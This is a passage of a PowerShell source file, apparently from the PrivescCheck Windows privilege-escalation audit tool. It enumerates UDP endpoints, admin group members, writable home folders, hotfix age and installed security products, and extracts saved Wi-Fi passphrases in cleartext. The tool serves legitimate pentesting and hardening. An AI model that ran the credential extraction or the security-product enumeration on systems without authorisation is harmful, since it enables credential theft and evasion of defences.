3193 IPv4 UDP 192.168.74.136:1900 N/A 5088 svchost
3194 IPv4 UDP 192.168.74.136:51007 N/A 5088 svchost
3195 IPv6 UDP [::]:5353 N/A 2176 svchost
3196 IPv6 UDP [::]:5355 N/A 2176 svchost
3197 IPv6 UDP [::]:54565 N/A 3100 SkypeApp
3198 IPv6 UDP [::1]:1900 N/A 5088 svchost
3199 IPv6 UDP [::1]:51006 N/A 5088 svchost
3200 IPv6 UDP [fe80::3a:b6c0:b5f0:a05e%12]:1900 N/A 5088 svchost
3201 IPv6 UDP [fe80::3a:b6c0:b5f0:a05e%12]:51005 N/A 5088 svchost
3202
3203 #>
3204
3205 [CmdletBinding()]Param(
3206 [switch]$Filtered
3207 )
3208
3209 # https://support.microsoft.com/en-us/help/832017/service-overview-and-network-port-requirements-for-windows
3210 $IgnoredPorts = @(53, 67, 123, 137, 138, 139, 500, 1701, 2535, 4500, 445, 1900, 5050, 5353, 5355)
3211
3212 $Endpoints = Get-NetworkEndpoints -UDP
3213 $Endpoints += Get-NetworkEndpoints -UDP -IPv6
3214
3215 if ($Filtered) {
3216 $FilteredEndpoints = @()
3217 $Endpoints | ForEach-Object {
3218 if (-not ($IgnoredPorts -contains $_.LocalPort)) {
3219 $FilteredEndpoints += $_
3220 }
3221 }
3222 $Endpoints = $FilteredEndpoints
3223 }
3224
3225 $Endpoints | ForEach-Object {
3226 if (-not ($_.Name -eq "dns")) {
3227 $UdpEndpoint = New-Object -TypeName PSObject
3228 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "IP" -Value $_.IP
3229 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "Proto" -Value $_.Proto
3230 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "LocalAddress" -Value $_.Endpoint
3231 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "State" -Value $_.State
3232 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "PID" -Value $_.PID
3233 $UdpEndpoint | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $_.Name
3234 $UdpEndpoint
3235 }
3236 }
3237 }
3238
3239 function Invoke-WlanProfilesCheck {
3240 <#
3241 .SYNOPSIS
3242
3243 Enumerates the saved Wifi profiles and extract the cleartext key/passphrase when applicable
3244
3245 Author: @itm4n
3246 License: BSD 3-Clause
3247
3248 .DESCRIPTION
3249
3250 The built-in "netsh" command allows one to list the saved Wifi profiles and extract the cleartext
3251 key or passphrase when applicable (e.g.: "netsh wlan show profile MyWifiProfile key=clear"). This
3252 function achieves the same goal. It iterates the list of Wlan interfaces in order to enumerate
3253 all the Wifi profiles which can be accessed in the context of the current user. If a network is
3254 configured with WEP or PSK authentication, it will attempt to extract the cleartext value of the
3255 key or passphrase.
3256
3257 .EXAMPLE
3258
3259 PS C:\> Invoke-WlanProfilesCheck
3260
3261 Profile : MySecretAccessPoint
3262 SSID : MySecretAccessPoint
3263 Authentication : WPA2PSK
3264 PassPhrase : AvErYsEcReTpAsSpHrAsE
3265 Interface : Compact Wireless-G USB Network Adapter
3266
3267 #>
3268
3269 [CmdletBinding()] param()
3270
3271 function Convert-ProfileXmlToObject {
3272
3273 [CmdletBinding()] param(
3274 [string]$ProfileXml
3275 )
3276
3277 $Xml = [xml] $ProfileXml
3278
3279 $Name = $Xml.WLANProfile.name
3280 $Ssid = $Xml.WLANProfile.SSIDConfig.SSID.name
3281 $Authentication = $Xml.WLANProfile.MSM.security.authEncryption.authentication
3282 $PassPhrase = $Xml.WLANProfile.MSM.security.sharedKey.keyMaterial
3283
3284 $ProfileResult = New-Object -TypeName PSObject
3285 $ProfileResult | Add-Member -MemberType "NoteProperty" -Name "Profile" -Value $Name
3286 $ProfileResult | Add-Member -MemberType "NoteProperty" -Name "SSID" -Value $Ssid
3287 $ProfileResult | Add-Member -MemberType "NoteProperty" -Name "Authentication" -Value $Authentication
3288 $ProfileResult | Add-Member -MemberType "NoteProperty" -Name "PassPhrase" -Value $PassPhrase
3289 $ProfileResult
3290 }
3291
3292 $ERROR_SUCCESS = 0
3293
3294 try {
3295 [IntPtr]$ClientHandle = [IntPtr]::Zero
3296 $NegotiatedVersion = 0
3297 $Result = [PrivescCheck.Win32]::WlanOpenHandle(2, [IntPtr]::Zero, [ref]$NegotiatedVersion, [ref]$ClientHandle)
3298 if ($Result -eq $ERROR_SUCCESS) {
3299
3300 Write-Verbose "WlanOpenHandle() OK - Handle: $($ClientHandle)"
3301
3302 [IntPtr]$InterfaceListPtr = [IntPtr]::Zero
3303 $Result = [PrivescCheck.Win32]::WlanEnumInterfaces($ClientHandle, [IntPtr]::Zero, [ref]$InterfaceListPtr)
3304 if ($Result -eq $ERROR_SUCCESS) {
3305
3306 Write-Verbose "WlanEnumInterfaces() OK - Interface list pointer: 0x$($InterfaceListPtr.ToString('X8'))"
3307
3308 $NumberOfInterfaces = [Runtime.InteropServices.Marshal]::ReadInt32($InterfaceListPtr)
3309 Write-Verbose "Number of Wlan interfaces: $($NumberOfInterfaces)"
3310
3311 # Calculate the pointer to the first WLAN_INTERFACE_INFO structure
3312 $WlanInterfaceInfoPtr = [IntPtr] ($InterfaceListPtr.ToInt64() + 8) # dwNumberOfItems + dwIndex
3313
3314 for ($i = 0; $i -lt $NumberOfInterfaces; $i++) {
3315
3316 $WlanInterfaceInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WlanInterfaceInfoPtr, [type] [PrivescCheck.Win32+WLAN_INTERFACE_INFO])
3317
3318 Write-Verbose "Wlan interface: $($WlanInterfaceInfo.strInterfaceDescription)"
3319
3320 [IntPtr]$ProfileListPtr = [IntPtr]::Zero
3321 $Result = [PrivescCheck.Win32]::WlanGetProfileList($ClientHandle, $WlanInterfaceInfo.InterfaceGuid, [IntPtr]::Zero, [ref]$ProfileListPtr)
3322 if ($Result -eq $ERROR_SUCCESS) {
3323
3324 Write-Verbose "WlanGetProfileList() OK - Profile list pointer: 0x$($ProfileListPtr.ToString('X8'))"
3325
3326 $NumberOfProfiles = [Runtime.InteropServices.Marshal]::ReadInt32($ProfileListPtr)
3327 Write-Verbose "Number of profiles: $($NumberOfProfiles)"
3328
3329 # Calculate the pointer to the first WLAN_PROFILE_INFO structure
3330 $WlanProfileInfoPtr = [IntPtr] ($ProfileListPtr.ToInt64() + 8) # dwNumberOfItems + dwIndex
3331
3332 for ($j = 0; $j -lt $NumberOfProfiles; $j++) {
3333
3334 $WlanProfileInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WlanProfileInfoPtr, [type] [PrivescCheck.Win32+WLAN_PROFILE_INFO])
3335
3336 Write-Verbose "Wlan profile: $($WlanProfileInfo.strProfileName)"
3337
3338 [string]$ProfileXml = ""
3339 [UInt32]$WlanProfileFlags = 4 # WLAN_PROFILE_GET_PLAINTEXT_KEY
3340 [UInt32]$WlanProfileAccessFlags = 0
3341 $Result = [PrivescCheck.Win32]::WlanGetProfile($ClientHandle, $WlanInterfaceInfo.InterfaceGuid, $WlanProfileInfo.strProfileName, [IntPtr]::Zero, [ref]$ProfileXml, [ref]$WlanProfileFlags, [ref]$WlanProfileAccessFlags)
3342 if ($Result -eq $ERROR_SUCCESS) {
3343
3344 Write-Verbose "WlanGetProfile() OK"
3345
3346 $Item = Convert-ProfileXmlToObject -ProfileXml $ProfileXml
3347 $Item | Add-Member -MemberType "NoteProperty" -Name "Interface" -Value $WlanInterfaceInfo.strInterfaceDescription
3348 $Item
3349
3350 } else {
3351 Write-Verbose "WlanGetProfile() failed (Err: $($Result))"
3352 }
3353
3354 # Calculate the pointer to the next WLAN_PROFILE_INFO structure
3355 $WlanProfileInfoPtr = [IntPtr] ($WlanProfileInfoPtr.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf($WlanProfileInfo))
3356 }
3357
3358 # cleanup
3359 [PrivescCheck.Win32]::WlanFreeMemory($ProfileListPtr)
3360
3361 } else {
3362 Write-Verbose "WlanGetProfileList() failed (Err: $($Result))"
3363 }
3364
3365 # Calculate the pointer to the next WLAN_INTERFACE_INFO structure
3366 $WlanInterfaceInfoPtr = [IntPtr] ($WlanInterfaceInfoPtr.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf($WlanInterfaceInfo))
3367 }
3368
3369 # cleanup
3370 [PrivescCheck.Win32]::WlanFreeMemory($InterfaceListPtr)
3371
3372 } else {
3373 Write-Verbose "WlanEnumInterfaces() failed (Err: $($Result))"
3374 }
3375
3376 # cleanup
3377 $Result = [PrivescCheck.Win32]::WlanCloseHandle($ClientHandle, [IntPtr]::Zero)
3378 if ($Result -eq $ERROR_SUCCESS) {
3379 Write-Verbose "WlanCloseHandle() OK"
3380 } else {
3381 Write-Verbose "WlanCloseHandle() failed (Err: $($Result))"
3382 }
3383
3384 } else {
3385 Write-Verbose "WlanOpenHandle() failed (Err: $($Result))"
3386 }
3387 } catch {
3388 # Do nothing
3389 # Wlan API doesn't exist on this machine probably
3390 }
3391 }
3392 # ----------------------------------------------------------------
3393 # END NETWORK
3394 # ----------------------------------------------------------------
3395
3396 # ----------------------------------------------------------------
3397 # BEGIN MISC
3398 # ----------------------------------------------------------------
3399 function Invoke-SystemInfoCheck {
3400 <#
3401 .SYNOPSIS
3402
3403 Gets the name of the operating system and the full version string.
3404
3405 Author: @itm4n
3406 License: BSD 3-Clause
3407
3408 .DESCRIPTION
3409
3410 Reads the "Product Name" from the registry and gets the full version string based on the
3411 operating system.
3412
3413 .EXAMPLE
3414
3415 Invoke-SystemInfoCheck | fl
3416
3417 Name : Windows 10 Home
3418 Version : 10.0.18363 Version 1909 (18363.535)
3419
3420 .LINK
3421
3422 https://techthoughts.info/windows-version-numbers/
3423
3424 #>
3425
3426 [CmdletBinding()] param()
3427
3428 $OsName = ""
3429 $OsVersion = [System.Environment]::OSVersion.Version
3430
3431 $Item = Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
3432 if (-not $GetItemPropertyError) {
3433
3434 $OsName = $Item.ProductName
3435
3436 if ($OsVersion -like "10.*") {
3437 # Windows >= 10/2016
3438 $OsVersion = "$($Item.CurrentMajorVersionNumber).$($Item.CurrentMinorVersionNumber).$($Item.CurrentBuild) Version $($Item.ReleaseId) ($($Item.CurrentBuild).$($Item.UBR))"
3439 }
3440
3441 $SystemInfoResult = New-Object -TypeName PSObject
3442 $SystemInfoResult | Add-Member -MemberType NoteProperty -Name "Name" -Value $OsName
3443 $SystemInfoResult | Add-Member -MemberType NoteProperty -Name "Version" -Value $OsVersion
3444 $SystemInfoResult
3445
3446 } else {
3447 Write-Verbose $GetItemPropertyError
3448 }
3449 }
3450
3451 function Invoke-SystemStartupHistoryCheck {
3452 <#
3453 .SYNOPSIS
3454
3455 Gets a list of all the system startup events which occurred in the given time span.
3456
3457 Author: @itm4n
3458 License: BSD 3-Clause
3459
3460 .DESCRIPTION
3461
3462 It uses the Event Log to get a list of all the events that indicate a system startup. The start
3463 event of the Event Log service is used as a reference.
3464
3465 .PARAMETER TimeSpanInDays
3466
3467 An optional parameter indicating the time span to check in days. e.g.: check the last 31 days.
3468
3469 .EXAMPLE
3470
3471 PS C:\> Invoke-SystemStartupHistoryCheck
3472
3473 Index Time
3474 ----- ----
3475 1 2020-01-11 - 21:36:59
3476 2 2020-01-08 - 08:45:01
3477 3 2020-01-07 - 11:45:43
3478 4 2020-01-06 - 14:43:41
3479 5 2020-01-05 - 23:07:41
3480 6 2020-01-05 - 11:41:39
3481 7 2020-01-04 - 14:18:46
3482 8 2020-01-04 - 14:18:10
3483 9 2020-01-04 - 12:51:51
3484 10 2020-01-03 - 10:41:15
3485 11 2019-12-27 - 13:57:30
3486 12 2019-12-26 - 10:56:38
3487 13 2019-12-25 - 12:12:14
3488 14 2019-12-24 - 17:41:04
3489
3490 .NOTES
3491
3492 Event ID 6005: The Event log service was started, i.e. system startup theoretically.
3493
3494 #>
3495
3496 [CmdletBinding()] param(
3497 [int]
3498 $TimeSpanInDays = 31
3499 )
3500
3501 try {
3502 $SystemStartupHistoryResult = New-Object -TypeName System.Collections.ArrayList
3503
3504 $StartDate = (Get-Date).AddDays(-$TimeSpanInDays)
3505 $EndDate = Get-Date
3506
3507 $StartupEvents = Get-EventLog -LogName "System" -EntryType "Information" -After $StartDate -Before $EndDate | Where-Object {$_.EventID -eq 6005}
3508
3509 $EventNumber = 1
3510
3511 ForEach ($Event in $StartupEvents) {
3512 $SystemStartupHistoryItem = New-Object -TypeName PSObject
3513 $SystemStartupHistoryItem | Add-Member -MemberType "NoteProperty" -Name "Index" -Value $EventNumber
3514 $SystemStartupHistoryItem | Add-Member -MemberType "NoteProperty" -Name "Time" -Value "$(Convert-DateToString -Date $Event.TimeGenerated)"
3515 [void]$SystemStartupHistoryResult.Add($SystemStartupHistoryItem)
3516 $EventNumber += 1
3517 }
3518
3519 $SystemStartupHistoryResult | Select-Object -First 10
3520 } catch {
3521 # We might get an "acces denied"
3522 Write-Verbose "Error while querying the Event Log."
3523 }
3524 }
3525
3526 function Invoke-SystemStartupCheck {
3527 <#
3528 .SYNOPSIS
3529
3530 Gets the last system startup time
3531
3532 Author: @itm4n
3533 License: BSD 3-Clause
3534
3535 .DESCRIPTION
3536
3537 Gets the tickcount in milliseconds thanks to the GetTickCount64 Win32 function and substracts
3538 the value to the current date. This yields the date and time of the last system startup. The
3539 result is returned in a custom PS Object containing a string representation of the DateTime
3540 object.
3541
3542 .EXAMPLE
3543
3544 PS C:\> Invoke-SystemStartupCheck
3545
3546 Time
3547 ----
3548 2020-01-11 - 21:36:41
3549
3550 .NOTES
3551
3552 [Environment]::TickCount is a 32-bit signed integer
3553 The max value it can hold is 49.7 days. That's why GetTickCount64() is used instead.
3554
3555 #>
3556
3557 [CmdletBinding()] param()
3558
3559 try {
3560 $TickcountMilliseconds = [PrivescCheck.Win32]::GetTickCount64()
3561
3562 $StartupDate = (Get-Date).AddMilliseconds(-$TickcountMilliseconds)
3563
3564 $SystemStartupResult = New-Object -TypeName PSObject
3565 $SystemStartupResult | Add-Member -MemberType "NoteProperty" -Name "Time" -Value "$(Convert-DateToString -Date $StartupDate)"
3566 $SystemStartupResult
3567
3568 } catch {
3569 # We are dealing with the Windows API so let's silently catch any exception, just in case...
3570 }
3571 }
3572
3573 function Invoke-SystemDrivesCheck {
3574 <#
3575 .SYNOPSIS
3576
3577 Gets a list of local drives and network shares that are currently mapped
3578
3579 Author: @itm4n
3580 License: BSD 3-Clause
3581
3582 .DESCRIPTION
3583
3584 This function is a wrapper for the "Get-PSDrive" standard cmdlet. For each result returned by
3585 "Get-PSDrive", a custom PS object is returned, indicating the drive letter (if applicable), the
3586 display name (if applicable) and the description.
3587
3588 .EXAMPLE
3589
3590 PS C:\> Invoke-SystemDrivesCheck
3591
3592 Root DisplayRoot Description
3593 ---- ----------- -----------
3594 C:\ OS
3595 E:\ DATA
3596 #>
3597
3598 [CmdletBinding()] param()
3599
3600 $SystemDrivesResult = New-Object -TypeName System.Collections.ArrayList
3601
3602 $Drives = Get-PSDrive -PSProvider "FileSystem"
3603
3604 ForEach ($Drive in $Drives) {
3605 $DriveItem = New-Object -TypeName PSObject
3606 $DriveItem | Add-Member -MemberType "NoteProperty" -Name "Root" -Value "$($Drive.Root)"
3607 $DriveItem | Add-Member -MemberType "NoteProperty" -Name "DisplayRoot" -Value "$($Drive.DisplayRoot)"
3608 $DriveItem | Add-Member -MemberType "NoteProperty" -Name "Description" -Value "$($Drive.Description)"
3609 [void]$SystemDrivesResult.Add([object]$DriveItem)
3610 }
3611
3612 $SystemDrivesResult
3613 }
3614
3615 function Invoke-LocalAdminGroupCheck {
3616 <#
3617 .SYNOPSIS
3618
3619 Enumerates the members of the default local admin group
3620
3621 Author: @itm4n
3622 License: BSD 3-Clause
3623
3624 .DESCRIPTION
3625
3626 For every member of the local admin group, it will check whether it's a local/domain user/group.
3627 If it's local it will also check if the account is enabled.
3628
3629 .EXAMPLE
3630
3631 PS C:\> Invoke-LocalAdminGroupCheck
3632
3633 Name Type IsLocal IsEnabled
3634 ---- ---- ------- ---------
3635 Administrator User True False
3636 lab-admin User True True
3637
3638 .NOTES
3639
3640 S-1-5-32-544 = SID of the local admin group
3641
3642 #>
3643
3644 [CmdletBinding()] param()
3645
3646 function Get-UserFlags {
3647 param(
3648 $UserFlags
3649 )
3650
3651 $UserFlagsEnum = @{
3652 "ADS_UF_SCRIPT" = "1";
3653 "ADS_UF_ACCOUNTDISABLE" = "2";
3654 "ADS_UF_HOMEDIR_REQUIRED" = "8";
3655 "ADS_UF_LOCKOUT" = "16";
3656 "ADS_UF_PASSWD_NOTREQD" = "32";
3657 "ADS_UF_PASSWD_CANT_CHANGE" = "64";
3658 "ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED" = "128";
3659 "ADS_UF_TEMP_DUPLICATE_ACCOUNT" = "256";
3660 "ADS_UF_NORMAL_ACCOUNT" = "512";
3661 "ADS_UF_INTERDOMAIN_TRUST_ACCOUNT" = "2048";
3662 "ADS_UF_WORKSTATION_TRUST_ACCOUNT" = "4096";
3663 "ADS_UF_SERVER_TRUST_ACCOUNT" = "8192";
3664 "ADS_UF_DONT_EXPIRE_PASSWD" = "65536";
3665 "ADS_UF_MNS_LOGON_ACCOUNT" = "131072";
3666 "ADS_UF_SMARTCARD_REQUIRED" = "262144";
3667 "ADS_UF_TRUSTED_FOR_DELEGATION" = "524288";
3668 "ADS_UF_NOT_DELEGATED" = "1048576";
3669 "ADS_UF_USE_DES_KEY_ONLY" = "2097152";
3670 "ADS_UF_DONT_REQUIRE_PREAUTH" = "4194304";
3671 "ADS_UF_PASSWORD_EXPIRED" = "8388608";
3672 "ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION" = "16777216";
3673 }
3674
3675 $UserFlagsEnum.GetEnumerator() | ForEach-Object {
3676 if ( $_.value -band $UserFlags )
3677 {
3678 $_.name
3679 }
3680 }
3681 }
3682
3683 function Get-GroupFlags {
3684 param(
3685 $GroupFlags
3686 )
3687 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/11972272-09ec-4a42-bf5e-3e99b321cf55
3688 $GroupFlagsEnum = @{
3689 "ADS_GROUP_TYPE_BUILTIN_LOCAL_GROUP" = "1"; # Specifies a group that is created by the system.
3690 "ADS_GROUP_TYPE_ACCOUNT_GROUP" = "2"; # Specifies a global group.
3691 "ADS_GROUP_TYPE_RESOURCE_GROUP" = "4"; # Specifies a domain local group.
3692 "ADS_GROUP_TYPE_UNIVERSAL_GROUP" = "8"; # Specifies a universal group.
3693 "ADS_GROUP_TYPE_APP_BASIC_GROUP" = "16";
3694 "ADS_GROUP_TYPE_APP_QUERY_GROUP" = "32";
3695 "ADS_GROUP_TYPE_SECURITY_ENABLED" = "2147483648"; # Specifies a security-enabled group.
3696 }
3697
3698 $GroupFlagsEnum.GetEnumerator() | ForEach-Object {
3699 if ($_.value -band $GroupFlags)
3700 {
3701 $_.name
3702 }
3703 }
3704 }
3705
3706 $LocalAdminGroupSid = "S-1-5-32-544" # Local admin group SID
3707 $LocalAdminGroupFullname = ([Security.Principal.SecurityIdentifier]$LocalAdminGroupSid).Translate([Security.Principal.NTAccount]).Value
3708 $LocalAdminGroupName = $LocalAdminGroupFullname.Split('\')[1]
3709
3710 $Computer = $env:COMPUTERNAME
3711 $AdsiComputer = [ADSI]("WinNT://$Computer,computer")
3712
3713 try {
3714 $LocalAdminGroup = $AdsiComputer.psbase.children.find($LocalAdminGroupName, "Group")
3715
3716 if ($LocalAdminGroup) {
3717 $LocalAdminGroup.psbase.invoke("members") | ForEach-Object {
3718 # For each member of the local admin group
3719
3720 $MemberName = $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null)
3721 $Member = $Null
3722
3723 # Is it a local user?
3724 $AdsiComputer.Children | Where-Object { $_.SchemaClassName -eq "User" } | ForEach-Object {
3725 if ($_.Name -eq $MemberName) {
3726 Write-Verbose "Found user: $MemberName"
3727 $Member = $_
3728 }
3729 }
3730
3731 # if it's not a local user, is it a local grop ?
3732 if (-not $IsLocal) {
3733 $AdsiComputer.Children | Where-Object { $_.SchemaClassName -eq "Group" } | ForEach-Object {
3734 if ($_.Name -eq $MemberName) {
3735 Write-Verbose "Found group: $MemberName"
3736 $Member = $_
3737 }
3738 }
3739 }
3740
3741 if ($Member) {
3742 if ($Member.SchemaClassName -eq "User") {
3743 $UserFlags = $Member.UserFlags.value
3744 $Flags = Get-UserFlags $UserFlags
3745 $MemberType = "User"
3746 $MemberIsLocal = $True
3747 $MemberIsEnabled = $(-not ($Flags -contains "ADS_UF_ACCOUNTDISABLE"))
3748 } elseif ($Member.SchemaClassName -eq "Group") {
3749 $GroupType = $Member.groupType.value
3750 $Flags = Get-GroupFlags $GroupType
3751 $MemberType = "Group"
3752 $MemberIsLocal = $($Flags -contains "ADS_GROUP_TYPE_RESOURCE_GROUP")
3753 $MemberIsEnabled = $True
3754 }
3755 } else {
3756 $MemberType = ""
3757 $MemberIsLocal = $False
3758 $MemberIsEnabled = $Null
3759 }
3760
3761 $LocalAdminGroupResultItem = New-Object -TypeName PSObject
3762 $LocalAdminGroupResultItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $MemberName
3763 $LocalAdminGroupResultItem | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $MemberType
3764 $LocalAdminGroupResultItem | Add-Member -MemberType "NoteProperty" -Name "IsLocal" -Value $MemberIsLocal
3765 $LocalAdminGroupResultItem | Add-Member -MemberType "NoteProperty" -Name "IsEnabled" -Value $MemberIsEnabled
3766 $LocalAdminGroupResultItem
3767 }
3768 }
3769 } catch {
3770 Write-Verbose $_.Exception
3771 }
3772 }
3773
3774 function Invoke-UsersHomeFolderCheck {
3775 <#
3776 .SYNOPSIS
3777
3778 Enumerates the local user home folders.
3779
3780 Author: @itm4n
3781 License: BSD 3-Clause
3782
3783 .DESCRIPTION
3784
3785 Enumerates the folders located in C:\Users\. For each one, this function checks whether the
3786 folder is readable and/or writable by the current user.
3787
3788 .EXAMPLE
3789
3790 PS C:\> Invoke-UsersHomeFolderCheck
3791
3792 HomeFolderPath Read Write
3793 -------------- ---- -----
3794 C:\Users\Lab-Admin False False
3795 C:\Users\Lab-User True True
3796 C:\Users\Public True True
3797
3798 #>
3799
3800 [CmdletBinding()] param()
3801
3802 $UsersHomeFolder = Join-Path -Path $((Get-Item $env:windir).Root) -ChildPath Users
3803
3804 Get-ChildItem -Path $UsersHomeFolder | ForEach-Object {
3805
3806 $FolderPath = $_.FullName
3807 $ReadAccess = $False
3808 $WriteAccess = $False
3809
3810 $Null = Get-ChildItem -Path $FolderPath -ErrorAction SilentlyContinue -ErrorVariable ErrorGetChildItem
3811 if (-not $ErrorGetChildItem) {
3812
3813 $ReadAccess = $True
3814
3815 $ModifiablePaths = $FolderPath | Get-ModifiablePath -LiteralPaths
3816 if (([object[]]$ModifiablePaths).Length -gt 0) {
3817 $WriteAccess = $True
3818 }
3819 }
3820
3821 $UserHomFolderResultItem = New-Object -TypeName PSObject
3822 $UserHomFolderResultItem | Add-Member -MemberType "NoteProperty" -Name "HomeFolderPath" -Value $FolderPath
3823 $UserHomFolderResultItem | Add-Member -MemberType "NoteProperty" -Name "Read" -Value $ReadAccess
3824 $UserHomFolderResultItem | Add-Member -MemberType "NoteProperty" -Name "Write" -Value $WriteAccess
3825 $UserHomFolderResultItem
3826 }
3827 }
3828
3829 function Invoke-MachineRoleCheck {
3830 <#
3831 .SYNOPSIS
3832
3833 Gets the role of the machine (workstation, server, domain controller)
3834
3835 Author: @itm4n
3836 License: BSD 3-Clause
3837
3838 .DESCRIPTION
3839
3840 The role of the machine can be checked by reading the following registry key:
3841 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
3842 The "ProductType" value represents the role of the machine.
3843
3844 .EXAMPLE
3845
3846 PS C:\> Invoke-MachineRoleCheck
3847
3848 Name Role
3849 ---- ----
3850 WinNT WorkStation
3851
3852 .NOTES
3853
3854 WinNT = workstation
3855 LanmanNT = domain controller
3856 ServerNT = server
3857
3858 #>
3859
3860 [CmdletBinding()] param()
3861
3862 $MachineRoleResult = New-Object -TypeName PSObject
3863
3864 $Item = Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions" -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
3865
3866 $FriendlyNames = @{
3867 "WinNT" = "WorkStation";
3868 "LanmanNT" = "Domain Controller";
3869 "ServerNT" = "Server";
3870 }
3871
3872 if (-not $GetItemPropertyError){
3873 try {
3874 $MachineRoleResult = New-Object -TypeName PSObject
3875 $MachineRoleResult | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Item.ProductType
3876 $MachineRoleResult | Add-Member -MemberType "NoteProperty" -Name "Role" -Value $FriendlyNames[$Item.ProductType]
3877 $MachineRoleResult
3878 } catch {
3879 Write-Verbose "Hashtable error."
3880 }
3881 }
3882 }
3883
3884 function Invoke-WindowsUpdateCheck {
3885 <#
3886 .SYNOPSIS
3887
3888 Gets the last update time of the machine.
3889
3890 Author: @itm4n
3891 License: BSD 3-Clause
3892
3893 .DESCRIPTION
3894
3895 The Windows Update status can be queried thanks to the Microsoft.Update.AutoUpdate COM object.
3896 It gives the last successful search time and the last successfull update installation time.
3897
3898 .EXAMPLE
3899
3900 PS C:\> Invoke-WindowsUpdateCheck
3901
3902 Time
3903 ----
3904 2020-01-12 - 09:17:37
3905
3906 #>
3907
3908 [CmdletBinding()] param()
3909
3910 try {
3911 $WindowsUpdate = (New-Object -ComObject "Microsoft.Update.AutoUpdate").Results
3912
3913 if ($WindowsUpdate.LastInstallationSuccessDate) {
3914 $WindowsUpdateResult = New-Object -TypeName PSObject
3915 $WindowsUpdateResult | Add-Member -MemberType "NoteProperty" -Name "Time" -Value $(Convert-DateToString -Date $WindowsUpdate.LastInstallationSuccessDate)
3916 $WindowsUpdateResult | Add-Member -MemberType "NoteProperty" -Name "TimeRaw" -Value $WindowsUpdate.LastInstallationSuccessDate
3917 $WindowsUpdateResult
3918 }
3919 } catch {
3920 # We might get an access denied when querying this COM object
3921 Write-Verbose "Error while requesting COM object Microsoft.Update.AutoUpdate."
3922 }
3923 }
3924
3925 function Invoke-HotFixCheck {
3926 <#
3927 .SYNOPSIS
3928
3929 Gets a list of installed updates and hotfixes.
3930
3931 .DESCRIPTION
3932
3933 This check simply invokes the helper function 'Get-HotFixList' and sorts the results from the
3934 newest to the oldest.
3935
3936 .EXAMPLE
3937
3938 PS C:\> Invoke-HotFixCheck
3939
3940 HotFixID Description InstalledBy InstalledOn
3941 -------- ----------- ----------- -----------
3942 KB4578968 Update NT AUTHORITY\SYSTEM 2020-10-14 18:06:18
3943 KB4580325 Security Update NT AUTHORITY\SYSTEM 2020-10-14 13:09:37
3944 KB4577266 Security Update NT AUTHORITY\SYSTEM 2020-09-11 13:37:59
3945 KB4570334 Security Update NT AUTHORITY\SYSTEM 2020-08-13 17:45:34
3946 KB4566785 Security Update NT AUTHORITY\SYSTEM 2020-07-16 13:08:14
3947 KB4561600 Security Update NT AUTHORITY\SYSTEM 2020-06-22 13:00:50
3948 KB4560366 Security Update DESKTOP-7A0AKQI\admin 2020-06-22 12:40:39
3949 KB4537759 Security Update 2020-05-11 07:44:14
3950 KB4557968 Security Update 2020-05-11 07:37:09
3951
3952 #>
3953
3954 [CmdletBinding()] param()
3955
3956 Get-HotFixList | Sort-Object -Property "InstalledOn" -Descending
3957 }
3958
3959 function Invoke-HotFixVulnCheck {
3960 <#
3961 .SYNOPSIS
3962
3963 Checks whether any hotfix has been installed in the last 31 days.
3964
3965 .DESCRIPTION
3966
3967 This script first lists all the installed hotfixes. If no result is returned, this will be
3968 reported as a finding. If at least one result is returned, the script will check the first
3969 one (which corresponds to the latest hotfix). If it's more than 31 days old, it will be
3970 returned.
3971
3972 .EXAMPLE
3973
3974 An example
3975
3976 #>
3977
3978 [CmdletBinding()] param()
3979
3980 $Hotfixes = Get-HotFixList | Sort-Object -Property "InstalledOn" -Descending
3981
3982 if ($(([object[]]$Hotfixes).Length) -gt 0) {
3983
3984 $LatestHotfix = $Hotfixes | Select-Object -First 1
3985 $TimeSpan = New-TimeSpan -Start $LatestHotfix.InstalledOn -End $(Get-Date)
3986
3987 if ($TimeSpan.TotalDays -gt 31) {
3988 $LatestHotfix
3989 } else {
3990 Write-Verbose "At least one hotfix was installed in the last 31 days."
3991 }
3992 } else {
3993 Write-Verbose "The hotfix history is empty."
3994 }
3995 }
3996
3997 function Invoke-EndpointProtectionCheck {
3998 <#
3999 .SYNOPSIS
4000
4001 Gets a list of security software products
4002
4003 .DESCRIPTION
4004
4005 This check was inspired by the script Invoke-EDRChecker.ps1 (PwnDexter). It enumerates the DLLs
4006 that are loaded in the current process, the processes that are currently running, the installed
4007 applications and the installed services. For each one of these entries, it extracts some
4008 metadata and checks whether it contains some known strings related to a given security software
4009 product. If there is a match, the corresponding entry is returned along with the data that was
4010 matched.
4011
4012 .EXAMPLE
4013
4014 PS C:\> Invoke-EndpointProtectionCheck
4015
4016 ProductName Source Pattern
4017 ----------- ------ -------
4018 AMSI Loaded DLL FileName=C:\Windows\SYSTEM32\amsi.dll
4019 AMSI Loaded DLL InternalName=amsi.dll
4020 AMSI Loaded DLL OriginalFilename=amsi.dll
4021 Windows Defender Loaded DLL FileName=C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MpOav.dll
4022 Windows Defender Loaded DLL FileName=C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MPCLIENT.DLL
